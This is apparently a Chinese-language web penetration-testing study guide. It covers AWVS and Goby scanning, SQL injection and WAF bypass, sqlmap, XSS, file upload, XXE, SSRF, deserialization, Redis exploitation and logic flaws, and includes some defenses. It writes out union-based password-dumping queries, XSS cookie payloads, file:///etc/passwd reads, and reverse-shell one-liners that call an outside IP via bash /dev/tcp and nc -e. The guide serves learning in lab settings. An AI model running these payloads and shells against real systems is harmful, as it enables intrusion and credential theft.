AWVS下载地址:https://pan.baidu.com/s/1hA83j7iUP7cVKZAIp9A8QA?pwd=zhzx

2.AWVS扫描Web应用程序

1.账户密码登录扫描
我们准备了一个靶场用来做测试扫描:

在这里插入图片描述

1.点击【Targets】,点击【add Target】

在这里插入图片描述

2.输入扫描地址和扫描描述,点击【save】

在这里插入图片描述

3.点击【Site Login】

在这里插入图片描述

4.选择【try to auto-login into the site】,输入登录地址,用户名【xiaogang】,密码【123456】,重复密码【123456】

在这里插入图片描述

5.点击【HTTP Authentication】的开启按钮

在这里插入图片描述

6.输入用户名【小刚】,密码【123456】,重复密码【123456】

在这里插入图片描述

7.点击【save】,然后点击【Scan】按钮

在这里插入图片描述

8.选择扫描设置,如图所示,点击【create Scan】

在这里插入图片描述

9.点击扫描目标,查看扫描具体内容

在这里插入图片描述

在这里插入图片描述

10.等待扫描完成

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

2.利用录制登录序列脚本扫描
1.点击【Targets】,点击【add Target】

在这里插入图片描述

2.输入扫描地址和扫描描述,点击【save】

在这里插入图片描述

3.点击【Site Login】

在这里插入图片描述

4.选择【Use pre-recorded login sequence 】,点击【New】

在这里插入图片描述

5.点击【登录】

在这里插入图片描述

6.输入用户名【xiaogang】,密码【123456】,点击【登录】

在这里插入图片描述

7.检查登录脚本流程是否完整,点击【Next】

在这里插入图片描述

8.点击【xaiogang_vip3】

在这里插入图片描述

9.点击【Restrict requests to path】

在这里插入图片描述

10.点击【Next】

在这里插入图片描述

11.点击【确定】

在这里插入图片描述

12.点击【Finish】

在这里插入图片描述

在这里插入图片描述

13.点击【Scan】

在这里插入图片描述

14.选怎扫描配置,如下图所示,点击【Create Scan】

在这里插入图片描述

15.点击目标连接,查看具体扫描信息

在这里插入图片描述

16.等待扫描完成

在这里插入图片描述

在这里插入图片描述

3.利用定制cookie扫描

我们准备如下页面进行实验:

在这里插入图片描述

扫描过程会遇到网站存在手机验证码,图形验证码,滑动验证等等,这时候想要深度扫描时,就需要进行登录绕过。最长用的手段就是定制cookie绕过。
1.点击【Targets】,点击【add Target】

在这里插入图片描述

2.输入扫描地址和扫描描述,点击【save】

在这里插入图片描述

3.点击【Advanced】

在这里插入图片描述

4.点击【Custom Cookies】

在这里插入图片描述

5.输入被测网站网址

在这里插入图片描述

6.按下F12进入开发者模式,进入到网络板块,刷新

在这里插入图片描述

在请求头中得到cookie信息

在这里插入图片描述

7.切换会AWVS,输入cookie的值,点击【+】

在这里插入图片描述

8.点击【save】,然后点击【Scan】

在这里插入图片描述

9.设置扫描选项,如下图所示,点击【Create Scan】

在这里插入图片描述

10.点击扫描的网站地址,查看扫描信息

在这里插入图片描述

11.等待扫描完成

在这里插入图片描述

在这里插入图片描述

3.AWVS扫描报告分析

1.选则我们已经扫描好的网站,点击它

在这里插入图片描述

2.点击后,右上角选择生成报告

在这里插入图片描述

3.选择生成报告的类型

在这里插入图片描述

4.点击生成报告

在这里插入图片描述

如下我们分别选择了三种规格生成了三份不同类型的报告

在这里插入图片描述

5.点击HTML,生成HTML网页查看报告

在这里插入图片描述

报告内容如下

在这里插入图片描述

在这里插入图片描述

AWVS报告类型

Standard Reports:标准报告
Affected Items:受影响项目
Comprehensive (new):综合(新)
Developer:开发者
Executive Summary:执行摘要
Quick:快速报告
Compliance Reports:合规报告
CWE / SANS Top 25:SANS (SysAdmin, Audit, Network, Security) 研究所是美国一家信息安全培训与认证机构
DISA STIG:DISA STIG 是指提供技术指南(STIG — 安全技术实施指南)的组织(DISA — 国防信息系统局)
HIPAA:HIPAA标准
ISO 27001:国际标准
NIST SP 800-53:联邦信息系统标准
OWASP Top 10 2013:开放式Web应用程序安全项目 2013标准
OWASP Top 10 2017:开放式Web应用程序安全项目 2017标准
PCI DSS 3.2:即支付卡行业数据安全标准
Sarbanes Oxley:萨班斯法案标准
WASC Threat Classification:WASC 组织标准

最常用的报告类型:

1.Executive Summary:执行摘要 给公司大领导看,只关注整体情况,不关注具体细节
2.Comprehensive (new):综合(新):一般给QA和产品经理看
3.Developer:开发者:给开发人员看
4.OWASP Top 10 2017 行业报告的代表
5.WASC Threat Classification 行业报告的代表

4.AWVS+Gody 联动

1.Goby简介

Goby是针对目标企业梳理最全面的工具,同构goby可以清晰的扫描出ip地址开放的端口,以及端口对应的服务,于此同事会根据开放的端口及应用进行实战化的测试,并不在乎他的中低危害漏洞,而更在乎的是它能直接getshell的漏洞。
AWVS这款工具大家应该都比较熟悉了,他是针对web的轻量级的漏洞扫描工具。也就是根据我们提供的被扫描地址,快速的扫描出其所有的漏洞,包含高中低及信息泄露等漏洞。
结合我们前面的介绍,大家想想,Goby探测出ip地址开放的所有服务及应用,然后直接丢给AWVS,那么AWVS是不是就可以直接进行扫描了,然后存在的网站存在的漏扫是不是一幕了然了,还需要我们去手动挖么,很显然了啊,这俩工具一联动,躺着收洞洞呗。

2.Goby+AWVS联动扫描
1.点击【扫描】

在这里插入图片描述

2.输入ip进行扫描,点击【开始】

在这里插入图片描述

3.等待扫描结果

在这里插入图片描述

在这里插入图片描述

4.点击【Web检测】

在这里插入图片描述

5.点击【awvs】扫描

在这里插入图片描述

6.切换到【AWVS】,点击【Scans】,点击【Goby传过来的任务】

在这里插入图片描述

在这里插入图片描述

7.切回到【Goby】,点击【扩展程序】,点击【awvs】

在这里插入图片描述

8.选择报告模板,点击【Generate】,生成报告

在这里插入图片描述

9.点击【Export】可以导出报告

在这里插入图片描述

3、SQL注入

(1)、概念

web应用程序三层架构:视图层+业务逻辑层+数据访问层

系统自带的4个数据库:

information_schema

performance_schema

mysql

sys

union合并查询的特性:

前面查询的语句和后面查询的语句结果互不干扰

前面查询语句的字段数量和后面查询语句的字段数量要一致

order by 排序 sql中表示猜解表的列数

information_schema库:

SCHEMATA表:所有数据库信息 schemata_name 保存所有库的的库名信息

TABLES表:所有表信息 table_schema,table_name 查询所有表的名称

COLUMNS表:所有列信息 table_schema,table_name,column_name 所有字段的信息名

浏览器进行数据提交服务器:

get提交: url提交 缺点:数据长度有限制 优点:速度快

post提交: 服务器提交 优点:安全性更高、数据量更大

SQL注入流程:

判断有无注入点 and 1=1

猜解列名数量 order by 数字

通过报错判断回显点 union

信息收集

使用对应的SQL注入

information_schema.tables 查找表名

限制条件 table_schema=‘security’;

group_concat(table_name) 分组去重

查表名:id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’

查列名:id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’

查字段数据:select username,password from users

union select 1,2,(select group_concat(username,0x3a,password) from users)

0x3a :

(2)、高权限注入

mysql中存在4个控制权限的表,分别为user表,db表,tables_priv表,columns_priv表

流程:

查询所有数据库名称

查询数据库对应的表名

查询表名对应的字段名

查询数据

(3)、文件读写

条件:高权限 secure_file_priv设置为可读、可写权限

读取文件函数:load_file()

后面路径可以是单引号,0x,char转换的字符

注意:路径中斜杠是/不是\

一般可以与union中作为一个字段使用,查看config.php(即mysql的密码)等

(4)、数据类型

数字型注入点:

类似http://xxx.com/users.php/?id=1 基于此种形式的注入,一般被叫做数字的注入点,缘由是其注入点id类型为数字。这一类的SQL语句原型大概为select * from 表名 where id=1若存在注入,我们可以构造出如下的sql注入语句进行爆破:select * from 表名 where id=1 and 1=1

随便注入
and 1=1

id=1 and 1=2   false
$id=_$GET(id)
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

字符型注入点:

类似http://xxx.com/users.php/?name=admin 其注入点name类型为字符类型,所有叫字符型注入点。这一类的sql语句原型大概为select * from 表名 where name =‘admin’ 值得注意的是这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或多引号。我们可以构造类似与如下的sql注入语句进行爆破:select * from 表名 where name =‘admin’ and 1=1’

id=1 and 1=2
$sql="SELECT * FROM users WHERE id='1 and 1=2' LIMIT 0,1";
在mysql中 会将 1 后面的所有东西进行过滤        eg:  id='1sfhdksfhdks'       结果只会找1

搜索型注入点:

这类注入主要是指在尽显数据搜索时没过滤搜索参数,一般在链接地址中有“keyword=关键字”有的不显示在链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的SQL语句,其原型大致为:==select * from 表名 where 字段 like ‘%关键字%’==若存在注入,我们可以构造出类似如下的sql注入语句进行爆破:select * from 表名 where 字段 like ‘%测试%’ and ‘%1%’=‘%1%’

like 模糊查询
% % 通配符
select * from user where like '%y%' and 1=1#%';
闭合   %’
#,--+注释
y%' or 1=1#

其他型注入点:

也就是由于SQL语句拼接方式不同,在SQL中的实际语句为:其本质为(xx’)or 1=1 #)

(5)、数据提交方式

GET方式注入

主要是通过url中传输数据到后台,带入到数据库中执行,可利用联合注入当时直接注入

通过URL进行数据传递

应用场景:

数据不敏感

安全性不高

长度有限2kb

速度非常快

POST方式注入

主要适用于表单的提交,用于登录框的注入

方法:利用burpsuite抓包进行重放修改内容进行,和get差别是需要借助抓包工具进行测试,返回结果主要为代码,也可转换为网页显示

应用场景:

表单的提交,用于登录框的注入

安全性高

长度不限

速度不快

REQUEST方式注入

超全局变量PHP中许多预定义变量都是“超全局的”,这意味着他们在一个脚本的全部作用域中都可以用。

HTTP头注入

什么是Header头

HTTP消息包括客户机向服务器的请求消息和服务器向客户机响应消息。这两种类型的消息一个起始行,一个或者多个头域,一个只是头域结束的空行和可选的消息体组成。HTTP的头域包括通用头,请求头,响应头和实体头四个部分

什么是Header头部注入

利用后端验证客户端消息(cookie验证)或者通过header中获取客户端的一些信息(user-agent用户代理等其他header字段信息),因为这些信息在某些地方是会和其他信息一起存储到数据库中,然后再在前台显示出来,又因为后台没有经过相对应的信息处理所以构成了sql注入。

(6)、查询方式

select查询数据

在网站应用中进行数据显示查询操作

select * from user where id=$id

delete删除数据

后台管理里面删除文章删除用户等操作

delete from user where id=$id

insert插入数据

在网站应用中进行用户注册添加操作

insert into user(id,name,pass) values(1,’zhangsan’,’1234’)

update更新数据

后台中心数据同步或者缓存操作

update user set pwd=‘p’ where id=1

(7)、报错盲注

盲注就是在注入的过程中,获取的数据不能显示到前段页面,此时,我们需要利用一些方法进行判断或者尝试。我们称之为盲注,我们可以知道盲注分为以下三类:

基于报错的SQL盲注-报错回显(强制性报错)

updatexml(),从目标XML中更改包含所查询值的字符串

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为DOC

第二个参数:XPath_string(Xpath格式字符串)

第三个参数:new_value,String格式,替换查找到符合条件的数据

updatexml(XML_document,XPath_String,new_value);

extractvalue():从目标XML中返回包含所查询值的字符串

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为DOC

第二个参数:XPath_string(Xpath格式字符串)

extractvalue(XML_document,XPath_String)

limit x,y x是索引,y是显示第几个

基于时间的SQL盲注-延时注入
知识储备
sleep()           sleep函数可以使计算机程序(进程,任务或线程)进入休眠
if()             if是计算机编程语言一个关键字,分支结构的一种
mid(a,b,c)       从b开始,截取a字符串的c位
length()         判断数据库的长度
substr(a,b,c)    从b开始,截取字符串a的c长度
left(string,n)    string为要截取的字符串,n为长度
length(database())=8             判断长度
ord=ascii    ascii(x)=100       判断x的ascii值是否为100

if(a,b,c) 可以理解在java程序中的三目运算符,如果a条件成立,执行b,否则执行c

基于布尔的SQL盲注-逻辑判断

Web的页面仅仅返回True和False,那么布尔盲注就是进行SQL注入之后根据页面返回的True或者是False来得到数据库中的相关信息

流程:

判断有无注入点:

and 1=1

or 1=1

判断数据类型:

‘ ’‘ “”

123

结合二分法进行猜解

length()>64

mid() substr() left()

(8)、WAF绕过

WAF拦截原理:WAF从规则库中匹配敏感字符进行拦截。

数据:

大小写

有的WAF因为规则设计的问题,只匹配纯大写或纯小写的字符,对字符大小写混写直接无视,我们可以利用这一点来进行绕过
eg: union select -->  unIOn SeLEcT

编码绕过:

针对WAF过滤的字符编码,如使用URL编码,unicode编码,十六进制编码,hex编码等
eg:union select 1,2,3# =union%0aselect 1\u002c2,3%23

双写绕过:

部分WAF只对字符串识别一次,删除敏感字段并拼接剩余语句,我们可以通过双写来进行绕过
eg:UNIunionON SELselectECT anandd

换行绕过:

eg:select * from admin where username =\N union select 1,user() from admin

注释符内联注释绕过:

union select -> /*!union*/ select                 /*!*/  会原样打印出!后面的内容

同义词替换:

and = &&
or = ||
注:%0a是换行也可以替代空格

HTTP参数污染:

对目标发送多个参数,如果目标没有多参数进行多次过滤,那么WAF对多个参数只会识别其中的一个

WAF绕过的思路就是让WAF的检测规则识别不到你所输入的敏感字符,利用上述所介绍的知识点,灵活结合各种方法,从而可以增加绕过WAF的可能性

andor换过,%20/*//--/*/  
联合绕过,  union/*//--/*/ /*!--+/*%0aselect/*!1,2,3*/--+
from须过, /*!06447%23%0afrom*/

加密解密

编码解码

等价函数

特殊符号

反序列化

注释符混用

方式:

更改提交方式

变异

其他:

Fuzz打发

数据库特征

垃圾数据溢出

内联注释: /**/

(9)、sqlmap使用

sqlmap支持注入的方式:

get注入:

基于布尔类型的盲注:可以根据返回页面判断条件真假的注入

基于时间的盲注:不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已执行(即页面返回时间是否增加)来判断

基于报错注入:即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中

联合查询注入:在可以使用union的情况下注入

堆查询注入:可以同时执行多条语句时的注入

带外注入:构造SQL语句,这些语句在呈现给数据库时会触发数据库系统创建与攻击控制的外部服务器的连接,以这种方式,攻击者可以搜集数据或可能控制数据库的行为

判断是否存在注入:

假设目标注入点是http://127.0.0.1/sqli-labs/Less-1/?id=1,判断其是否存在注入的命令如下:

sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1

当注入点后面的参数大于等于两个时,需加双引号,如下所示:

sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1&uid=2"

常用命令:

-u:用于get提交,后面跟注入的url网址

–tables:获取所有数据库

–columns:获取所有数据表

–dump:获取所有字段

-D:查询选择某个库

-T:查询选择某个表

-C:查询选择某个字段

-level: 执行测试的等级(1~5,默认为1),使用-level参数并且数值>=2的时候会检查cookie里面的参数。

​ 当>=3时检查user-agent和refereer risk,执行测试的风险(0~3,默认为1),默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加or与语句的SQL注入

post注入:

用burpsuite抓包,然后保存抓去问到的内容。例如:保存为1.txt,然后把它放到某个目录下

4、XSS渗透与防御

HTTP特点:

请求应答模式

灵活可扩展

可靠传输

无状态stateless

COOKIE特点:

明文

可修改

大小受限

COOKIE的用途:

记住登录状态

跟踪用户行为

cookie和session

cookie保存在客户端

session保存在服务端

JavaScript语法

获取:document.cookie;

设置:document.cookie=“username=wuya”;

XSS

恶意攻击者利用web页面的漏洞,插入一些恶意代码,当用户访问页面的时候,代码就会执行,这个时候就达到了攻击的目的

分为存储型和反射型

XSS反射型:

测试payload

<script>alert('XSS')</script>
<script>alert(document.cookie)</script>
><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
"><script>alert(document.cookie)</script>
%3Cscript%3Ealert('XSS')%3C/script%3E
<img src="javascript:alert('XSS')">
onerror="alert(XSS)">

5、文件上传

MIME用法:

客户端使用:

1、GET请求不需要这个字段

2、POST请求头,放在Cpntent Type字段用来指定上传的文件类型,方便服务器解析。放在Accept,告诉服务端允许接收的响应类型。比如只能接收json或者其他

服务端使用:

1、放在响应头里面,Content Type告诉客户端响应的数据类型,方便客户端解析。

等价扩展名

语言等价扩展名
aspasa,cer,cdx
aspxashx,asmx,ascx
phpphp2,php3,php4,php5,phps,phtml
jspjspx,jspf
文件上传漏洞利用流程:
  1. 找到上传的位置
  2. 尝试绕过校验,上传文件
  3. 获得文件位置
  4. 蚁剑连接,管理文件
绕过

总计:删除/禁用JS,修改MIME,等价扩展名,大小写,.htaccess,双写,空格,点,::$DATA,%00截断,0x00截断,图片马,条件竞争等等。

文件上传漏洞发生的前提

  1. 网站上传功能能正常使用
  2. 文件类型允许上传
  3. 上传路径可以确定
  4. 文件可以被访问,可以被执行或被包含
防御:
  • 扩展名(后缀)黑白名单
  • MIME类型校验(image/gif)
  • 文件内容头校验(GIF89a)
  • 对文件内容进行二次渲染
  • 对上传的文件重命名,不易被猜测
  • 不要暴露上传文件的位置
  • 禁用上传文件的执行权限

6、文件包含

远程文件包含

漏洞描述原因后果
XXEXML外部实体注入使用XML传输数据,并且允许解析外部实体导致访问敏感文件,探测端口,执行系统命令等等
SSRF服务端请求伪造因为使用了curl_exec()之类的函数导致端口扫描、攻击内网主机,绕过防火墙,获取敏感信息,访问大文件造成内存溢出,操作Redis等等问题
RFI远程文件包含使用了include导致任意文件访问,包含shell代码

函数

函数作用
include()include语句包含并运行指定文件
include_once()只包含一次,不重复包含
require()和include一样,不过出错时会停止
require_once()和include_once一样
fopen()打开文件或者URL
readfile()读取文件并写入到输出缓冲
highlight_file()语法高亮一个文件
show_source等于highlight_file()
file_get_contents将整个文件读入一个字符串
file把整个文件读入一个数组中

URL关键字

URL参数名字出现了page、file、filename、include等待关键字

URL参数值出现了文件名,比如xxx.php xxx.html等等。

eg:
?file=content

?page=hhh.asp

?page=hhh.html

修复:

  1. PHP配置
  2. 禁用动态包含
  3. 过滤协议,目录字符
  4. 设置文件白名单

7、XXE(可扩展标记语言)

XML用途

配置文件

交换数据

XML格式要求

  • XML文档必须有根元素
  • XML文档必须有关闭标签
  • XML标签对大小写敏感
  • XML元素必须被正确的嵌套
  • XML属性必须加引号

XML格式校验:DTD文档类型定义

外部实体引用:协议

协议使用方式
filefile:///etc//passwd
phpphp://filter/read=convert.base64-encode/resource=index.php
httphttp://xxx.com/evil.dtd

XXE:XML外部实体注入

XXE定义:

如果web应用的脚本代码没有限制XML引入外部实体,从而导致用户可以插入一个外部实体,并且其中的内同会被服务器端执行,插入的代码可能导致任意文件读取,系统命令执行,内网端口探测,攻击内网网站等危害

php curl扩展

获取网页资源–爬虫

webservice–获取接口数据

FTP–下载文件

php.ini extension=php_curl.dll

8、SSRF(服务器端请求伪造)

PHP其他函数(可能引起SSRF漏洞)

函数作用
curl_exec()执行curl会话
file_get_contents()将整改文件读入一个字符串
fsocksopen()打开一个网络连接或者一个unix套接字连接

curl其他协议

协议作用payload
file查看文件curl -v ‘file:///etc/passwd’
dict探测端口http://localhost/ssrf/ssrf1.php?url=dict://127.0.0.1:3306
gopher反弹shellcurl -v ‘’

协议

dict协议:用于搭建在线字典服务

gopher协议:是一种信息查找系统,只支持文本,不支持图像,已被HTTP替代

SSRF定义

服务器端请求伪造:是一种由攻击者构造形成由服务端发起请求的一个安全漏洞

危害(利用方式)

  1. 扫描资产
  2. 获取敏感信息
  3. 攻击内网服务器(绕过防火墙)
  4. 访问大文件,造成溢出
  5. 通过Redis写入WebShell或建立反弹连接

实际案例(如何发现SSRF漏洞:)

  1. 爬取地址
  2. 查看是否请求了其他资源

也可以用Google语法搜索关键字:share,wap,url,link,source,target,u,3g,display,sourceURL,imageURL,domain

PHP其他函数

函数作用
curl_exec()执行curl会话
file_get_contents()将整改文件读入一个字符串
fsockopen()打开一个网络连接或者一个unix套接字

如何防御SSRF漏洞:

  1. 禁用协议
  2. 限制请求端口
  3. 设置URL白名单
  4. 过滤返回信息
  5. 统一错误信息

9、反序列化

魔术方法

魔术方法时一种特殊的方法,当对对象执行某些操作时会覆盖PHP的默认操作。(PHP保留所有以__开头的方法名称)

函数作用

函数作用
__construct当一个对象创建时被调用
__destruct当一个对象销毁时被调用
__toString对一个对象被当作一个字符串使用
__sleep在对象被序列化之前运行
__wakeup在对象被反序列化之后被调用
__serialize()对对象调用serialize()方法,PHP7.4.0起
__unserialize()对对象调用unserialize()方法,PHP7.4.0起
__call()在对象上下文中调用不可访问的方法时触发
__callStatic()在静态上下文中调用不可访问的方法时触发
__get()用于从不可访问的属性读取数据
__set()用于将数据写入不可访问的属性
__isset()在不可访问的属性上调用isset()或empty()触发
__unset()在不可访问的属性上使用unset()时触发
__invoke()当脚本尝试将对象调用为函数时触发

serialize()

serialize(mixed $value):string

serializ()返回字符串,此字符串包含了表示value的字节流,可以存储于任何地方

其他序列化格式

json字符串 json_encode

xml字符串 从wddx_serialize_value

二进制格式

字节数组

反序列化:注意

  1. 如果传递的字符串不可以序列化,则返回FALSE
  2. 如果对象没有预定义,反序列化得到的对象是_PHP_Incomplete_Class

作用

  1. 传输对象
  2. 用作缓存(COOKIE,SESSION)

反序列化与Maigc函数

__wakeup

__unserialize (7.4.0版本)

如果类中同时定义了__unserialize()和 _ _wakeup()两个魔术方法,则只有 _ _unserialize()方法会生效, _ _wakeup()方法会被忽略。

反序列化漏洞

  1. unserialize函数的参数可控,比如通过GET请求传参(漏洞触发点)
  2. 脚本中定义了有Magic方法,方法里面有向php文件做读写数据或者执行命令的操作,比如__destruct(),unlink()
  3. 读写的内容需要有对象中的成员变量的值,比如filename

序列化主要使用场景

  1. 持久化内存数据
  2. 网络传输对象
  3. 远程方法调用(RMI)

JAVA序列化和反序列化

序列化

java.io.ObjectOutputStream.writeObject()

反序列化

java.io.ObjectInputStream.readObject()

利用思路

  1. 利用自定义的readObject()方法执行代码
  2. 寻找重写了readObject方法的类

10、redis未授权访问漏洞

redis常见用途

  • 缓存
  • 分布式session、分布式锁、分布式全局ID
  • 计数器、限流
  • 列表
  • 抽奖
  • 标签
  • 排行榜

redis优点

  1. 数据类型丰富,应用场景广泛
  2. 纯内存的数据结构,读写速度快
  3. 功能特性丰富(持久化、事务、pipeline、多语言支持、集群分布式)

反弹连接

为什么要用反弹连接?
  1. 内网,私有IP
  2. IP动态变化
  3. 6379端口不允许入方向
  4. 一句话木马被杀软删除
常见监听端口的方式(攻击机执行)
类型命令
netcatnc -lvp 7777 (-nlvp lvvp)
msfmsfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.142.141
set lhost 7777
run
socatsocat TCP-LISTEN:7777 -
常见建立反弹连接的方式(靶机执行)
类型命令
Linux bashbash -i >& /dev/tcp/192.168.142.44/7777 0>&1
netcatnc -e /bin/bash 192.168.142.44 7777

Linux crontab

命令操作
crontab -u root -r删除某个用户的任务
crontab -u root time.cron把文件添加到某个用户的任务
crontab -u root -l列举某个任务的任务
crontab -u root -e编辑某个用户的任务
cron文件存储路径
路径内容
/var/spool/cron这个文件赋值安排由系统管理员制定的维护系统以及其他任务的crontab
/etc/crontab放的是对应周期的任务dalily,hourly,monthly,weekly
流程SSH key免密登录
  1. 客户端生成密钥对(公钥,私钥)
  2. 客户端把公钥发给服务器保存(正常情况需要密码)
  3. 客户端用私钥加密消息,发给服务端
  4. 服务端用公钥解密,解密成功,说明密钥匹配
  5. 哭护短免密登录成功
Redis利用SSH Key提权流程
  • 控制机连接到Redis
  • 向$HOME/.ssh/authorized_keys写入公钥
  • ssh -i ./id_rsa user@IP 使用私钥免密登录
  • 执行后续操作
Redis其他利用方式
  • 基于主从复制的RCE
  • jackson反序列化利用
  • lua RCE
  • Redis密码爆破
Redis如何加固
  1. 限制访问IP
  2. 修改默认端口
  3. 使用密码访问
  4. 不要用root运行Redis

11、逻辑漏洞

逻辑漏洞的分类

软件(系统)设计之初便存在的漏洞【永恒之蓝、sql注入漏洞、文件上传漏洞等等】

使用者未能安全使用软件所产生的【弱口令、匿名用户】

暴力破解漏洞-多字段爆破

多字段爆破即需要多个字段大于等于2,比如:需要同时爆破:账号密码验证码,当爆破一个网站时返回锡尼希时用户名或密码错误时,大多数时候仍然使用brupsuite的intruder模块,只是与单个字段爆破选择的模式不同,但是当某几个字段相同的情况下,例如在不仅在post内容中确定还要在cookie或者session或者token中确定的时候,也可以自己写脚本解决问题。

session固定攻击(未授权)

漏洞介绍:会话固定攻击时利用服务器的session不变机制,借他人之手获得认证和授权,然后冒充他人

漏洞原理:在请求登录过程中,URL带有一个session,登录成功之后会将登录成功的信息绑定到这个session中,攻击者可以发送带有session的URL给相关工作人员诱导其登录,相当与获取了其身份信息

漏洞点:在GET方法请求登录时候带有session值

修复思路:只要避免在URL中带入session信息即可比较有效的防御,另外也要注意POST请求带有session id进行session固定攻击,虽然可利用性比较低,但是建议修复如下,测试方法可以直接赋值session然后更换浏览器打开或者使用无痕模式打开即可,如果直接访问,不需要登录,说明存在改漏洞

cookie欺骗漏洞

漏洞介绍:通过伪造cookie信息能够伪造其他用户进行登录

漏洞原理:开发者为了方便将身份信息/登录信息铭文或者只是简单编码,哈希之后存放在cookies中,网站通过获取得到的cookies进行授权或者身份验证

漏洞点:cookie中有明显或者只是简单编码,哈希的字段时候修改lsLogin值为1可以判定为用户已经登录

漏洞修复:Cookie不要该存储可理解的身份信息和登录信息。按照规定,cookie对身份信息和登录信息的存储只能通过存储 足够长度的随机字符串进行,避免篡改

如果某网站的cookie:asp 163=admin,那只需要等待管理员登录成功后,网站存在登录信息后即可进行登录,构造报文进行登录,安装editthiscookie可以迅速看到cookie值

未进行登录凭证验证

有些业务的接口,因为缺少了对用户的登录凭证的校验或者验证存在缺陷,导致黑客可以未经授权访问这些敏感信息甚至是越权操作

案例:

某电商后台主页面,直接在管理员web路径后面属mian.php之类的即可进入

图形验证码-验证码可爆破

验证码,即验证码过于简单,,例如验证码中字符数量过少,比如只有四位组成,且只包含0~9的数字还没有干扰点,亦或者验证码可以被猜测到(这种情况很少见)

可以使用PKAV来进行带验证码的爆破,先用burpsuite来抓包,再将抓包的数据包放在PKAV里

图形验证码-验证码复用

验证码服用,即登录失败后验证码不断,仍然可以使用上一次登录时的验证码且有效,存在爆破风险漏洞,如之梦后台的验证码,测试方法如下,抓包后输入对的验证码后,反复发送查看回包

可以看到,没有出现验证码错误,出现的时用户名不存在,那么这里还出现一个点,用户名爆破,只要输入账号错误和密码错误回显不一样,就要看做用户名可爆破漏洞

图形验证码-验证码绕过

验证码绕过,验证码可以通过逻辑漏洞被过,通常分为以下情况

  • 案例一:验证码返回状态值

可bp修复状态值来绕过前端的验证,修改密码页面中存在验证码绕过漏洞

  • 案例二:点击获取验证码时,直接在返回包中返回验证码,通过抓包来观察response包

短信验证码-无效验证

有验证码模块,但验证码与业务功能没有关联性,此为无效验证,一般在新上线的系统中比较常见。最好在测试的时候线看一下,有很小的概率可以成功。

短信验证码-短信轰炸

短信轰炸是手机验证码漏洞中最常见的一种漏洞类型。在测试的过程中,对短信验证码接口进行重放,导致大量发送恶意短信有两种情况,一种是完全没限制发短信的频率,另外一种是每60秒发一条短信。

  • 情况一:没有限制时,任意下发短信时。直接放到intruder中即可
  • 情况二:有一点时间间隔,无限下发,短信轰炸。

在测试过程中,可通过编写python脚本来计算短信下发时间间隔,实现短信轰炸。

忘记密码-链接的形式-链接token参数可逆

通过邮箱找回密码时,邮件中将出现一个含有token的重置URL,该token即为重置凭证

从经验来看,开发人员习惯以时间戳,递增序号,关键字段(如邮箱地址)等三类信息作为因子,采用某种加密算法或编码生成token,攻击者可以基于能收集到的关键字段,用常见加密算法计算一遍,以判断是否可以预测出token

前端验证审核绕过

任意填写注册信息,服务端对注册信息进行审核,例如是否存在恶意标签等恶意信息但是通过返回状态值给前端判断,一旦篡改值就有可能绕过

越权

越权漏洞又分为平行越权,垂直越权和交叉越权。

  • 平行越权:权限类型不变,权限ID改变。

  • 垂直越权:权限ID不变,权限类型改变。

  • 交叉越权:及改变ID,也该百年权限

平行权限跨越

水平越权指的是攻击者尝试访问与他拥有响应权限的用户的资源

比如某系统中有个人资料这个功能,A账号和B账号都可以访问这个功能,但是A账号的个人信息和B账号的个人信息不同

可以理解为A账号和B账号个人资料这个功能上具有水平权限的划分。此时,A账号通过攻击手段访问了B账号的个人资料,这就是水平越权漏洞

垂直权限跨越

垂直越权指的是一个低级别攻击者尝试访问高级别用户的资源。比如某个系统分为普通用户和管理员,管理员有系统管理功能,二普通用户没有,拿我们就可以理解管理功能具备垂直权限划分,如果普通用户能利用某种攻击手段访问到管理功能,那我们就称之为垂直越权

数据包重放漏洞

漏洞介绍:通过数据包重放,可以再次短信轰炸,邮件轰炸,重复提交订单等

漏洞原理:后台未进行相关操作的技术导致数据包重放漏洞点:信息验证码,邮件校验,提交订单等功能

修复方案:修复思路(针对短信,邮件)

构造一个Hashmap<String,short>,存放邮箱或电话号码及对于次数

只要某个邮箱或者电话号码次数够了,就不能继续发送了

或者计算两次发送的时间间隔,时间果断就不继续发送了

通用修复方案

需要建立token机制或验证码机制,一次有效

条件竞争漏洞

条件竞争是指一个系统的运行结果依赖于不受控制的时间的先后顺序。当这些不受控制的事件没有按照开发者想要的方式运行时,就可能会出现bug。尤其在当前我们的系统中大量对资源进行共享,如果处理不当的话,就会产生条件竞争漏洞。说的通俗一点,条件竞争涉及到的就是操作系统中所提到的进程或者线程同步的问题,当一个程序的运行的结果依赖于现场的顺序,处理不当就会发生条件竞争

  • 漏洞修复-修复思路:限制同一时间内访问方法的只有单一线程

接口无限制枚举

有些关键性的接口因为没有做验证或者其他预防机制,容易遭到爆破攻击。常见账号爆破,密码爆破,验证码爆破,上文到已经提及,还有其他的:

支付漏洞总结:

1.找到相关的数据包

可能一个支付操作有三四个数据包,我们要对数据包进行挑战

2.分析数据包

支付数据包中会包含很多的敏感信息(账号,金额,余额,优惠),要尝试对数据包的各个参数进行分析。

3.不按套路出牌

4.pc端尝试过,wap端也看看,app也试试

防御方法
  1. 在后端检查订单的每一个值,包括支付状态
  2. 校验价值,数量参数,比如产品数量只能为整数,并限制最大购买数量
  3. 与第三方支付平台检查,实际支付的金额是否与订单金额一致
  4. 如果给用户退款,要使用原路,原订单退回,比如:退押金,按用户原支付订单原路退回
  5. MD5加密,解密,数字签名及验证,这个可以有效的避免数据修改重放攻击中的各种问题
  6. 金额超过指定值,进行人工审核等

SRC中逻辑漏洞的检查总结

注册
  • 短息轰炸
  • 验证码安全问题
  • 密码爆破
  • 邮箱轰炸
  • 用户任意注册、批量注册
  • 用户名枚举
